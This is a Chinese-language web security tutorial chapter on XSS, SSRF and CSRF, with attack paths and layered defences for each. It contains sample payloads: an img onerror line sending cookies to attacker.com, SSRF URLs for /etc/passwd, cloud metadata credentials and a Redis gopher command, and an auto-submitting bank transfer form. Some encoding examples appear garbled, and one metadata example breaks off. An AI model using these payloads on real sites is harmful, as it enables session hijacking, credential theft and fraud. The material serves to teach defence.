客户端与请求伪造漏洞¶
3.1 跨站脚本攻击（XSS）¶
XSS 的本质是服务器返回给用户的页面中包含了未经过滤的恶意代码，浏览器信任地执行了它。由于浏览器同源策略的限制，XSS 攻击者通常目的是窃取 Cookie、会话令牌，或代表用户执行操作。
三种 XSS 形态的对比
| 类型 | 恶意代码位置 | 触发条件 | 持久性 |
|---|---|---|---|
| 存储型 XSS | 数据库/文件系统 | 任何用户访问包含恶意代码的页面 | 永久（直到数据被删除） |
| 反射型 XSS | URL 参数中 | 用户点击特定恶意链接 | 一次（不存储） |
| DOM 型 XSS | 前端 JavaScript 中 | 用户访问包含恶意参数的页面 | 一次（不经过服务器） |
存储型 XSS 的典型攻击路径：
1. 攻击者在评论区提交：<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">
2. 服务器将该内容存入数据库（未过滤或过滤不严）
3. 管理员查看评论列表，浏览器解析 HTML 时执行 onerror 事件
4. 管理员的 Cookie 被发送到攻击者服务器，攻击者获得管理员会话
DOM 型 XSS 的特殊性： DOM XSS 不经过服务器响应，完全由前端 JavaScript 处理。这意味着： - 服务器端的 WAF 或输入过滤对它无效 - 纯静态页面（CDN 托管）也可能存在 DOM XSS
// 漏洞代码示例
var hash = location.hash.slice(1); // 获取 # 后面的内容
document.write("Welcome, " + hash); // 直接写入 DOM
// 攻击：访问 https://site.com/#<img src=x onerror=alert(1)>
XSS 防御的层次化策略：
- 输出编码（最根本）：根据输出上下文进行编码
- HTML 上下文：
<→<，>→>，"→"，'→' - JavaScript 上下文：
"→\x22 -
URL 上下文：
→%20 -
Content Security Policy（CSP）：通过响应头限制页面可加载的资源来源
即使 XSS 漏洞存在，恶意脚本因不在白名单中而无法执行。 -
HttpOnly Cookie：
Set-Cookie: session=xxx; HttpOnly; Secure; SameSite=Strict HttpOnly：禁止 JavaScript 读取，XSS 无法窃取Secure：只允许 HTTPS 传输，防止中间人窃取SameSite=Strict：禁止跨站请求携带，防御 CSRF
3.2 服务端请求伪造（SSRF）¶
SSRF 的利用前提是：服务器提供了"代表用户去访问某个 URL"的功能，且未对目标地址做限制。这时攻击者可以让服务器去访问攻击者自己无法直接访问的网络区域——通常是内网、本地服务或云元数据接口。
常见的 SSRF 触发点： - 图片加载/预览功能（用户提供图片 URL，服务器下载） - 网页截图服务 - Webhook 配置 - RSS 订阅抓取 - 文件导入（从 URL 导入）
SSRF 的攻击维度
| 目标 | 利用方式 | 预期结果 |
|---|---|---|
| 本地文件 | file:///etc/passwd |
读取服务器本地敏感文件 |
| 内网端口扫描 | http://127.0.0.1:3306 |
根据响应判断 MySQL 是否开放 |
| 云主机元数据 | http://169.254.169.254/latest/meta-data/iam/security-credentials/ |
获取 AWS/GCP/阿里云临时凭证 |
| 内网未授权服务 | http://192.168.1.100:6379 |
与内网 Redis 交互 |
| 通过 gopher 协议 | gopher://127.0.0.1:6379/_CONFIG%20SET%20dir%20/root/.ssh |
向 Redis 发送原始 TCP 数据 |
云主机元数据服务攻击案例：
在云环境中，元数据服务通常绑定在 169.254.169.254（链路本地地址），只能从实例内部访问。攻击者通过 SSRF 访问：
防御策略：
- 协议白名单：只允许 http:// 和 https://，禁用 file://、gopher://、dict://、ftp:// 等
- IP 黑名单：禁止访问 127.0.0.0/8、10.0.0.0/8、172.16.0.0/12、192.168.0.0/16、169.254.0.0/16 等内网地址
- DNS 解析后校验：先解析域名获取 IP，再检查 IP 是否在黑名单中（防止使用 127.0.0.1.xip.io 绕过）
- 统一代理出口：所有外部请求经过统一代理，代理层做安全策略控制
3.3 跨站请求伪造（CSRF）¶
CSRF 攻击成立的条件是浏览器会自动携带目标网站的 Cookie，而目标网站不验证请求的来源。
攻击者不需要窃取 Cookie，只需要构造一个自动提交的请求（通常隐藏在恶意页面中），诱导已登录用户访问该页面。浏览器会自动带上目标网站的 Cookie，服务器认为这是合法用户的正常请求。
攻击示例：
某银行转账接口为 POST /transfer，参数为 to（收款人）和 amount（金额）。攻击者构造恶意页面：
<form action="https://bank.com/transfer" method="POST" id="auto">
<input type="hidden" name="to" value="attacker_account">
<input type="hidden" name="amount" value="50000">
</form>
<script>document.getElementById('auto').submit();</script>
CSRF 与 XSS 的核心区别
| 维度 | XSS | CSRF |
|---|---|---|
| 攻击目标 | 网站的用户（浏览器端） | 网站的服务器（伪造用户请求） |
| 是否需要脚本执行 | 是 | 否（HTML 表单即可） |
| 是否窃取 Cookie | 通常需要 | 不需要（浏览器自动携带） |
| 防御重点 | 输出编码、输入过滤 | 请求来源校验、Token 机制 |
防御方法：
1. CSRF Token：服务器生成随机 Token 嵌入表单，提交时校验。攻击者无法获取 Token（同源策略限制），无法构造合法请求。
2. SameSite Cookie：Set-Cookie: session=xxx; SameSite=Strict。Strict 模式下，跨站请求完全不携带 Cookie；Lax 模式下，只允许安全的 top-level 导航携带。
3. Referer/Origin 校验：检查请求来源，拒绝来自第三方网站的请求。
4. 关键操作二次确认：转账、删除等关键操作需要短信验证码或密码确认。
总结¶
- 3.1 跨站脚本攻击（XSS）
- 3.2 服务端请求伪造（SSRF）
- 3.3 跨站请求伪造（CSRF）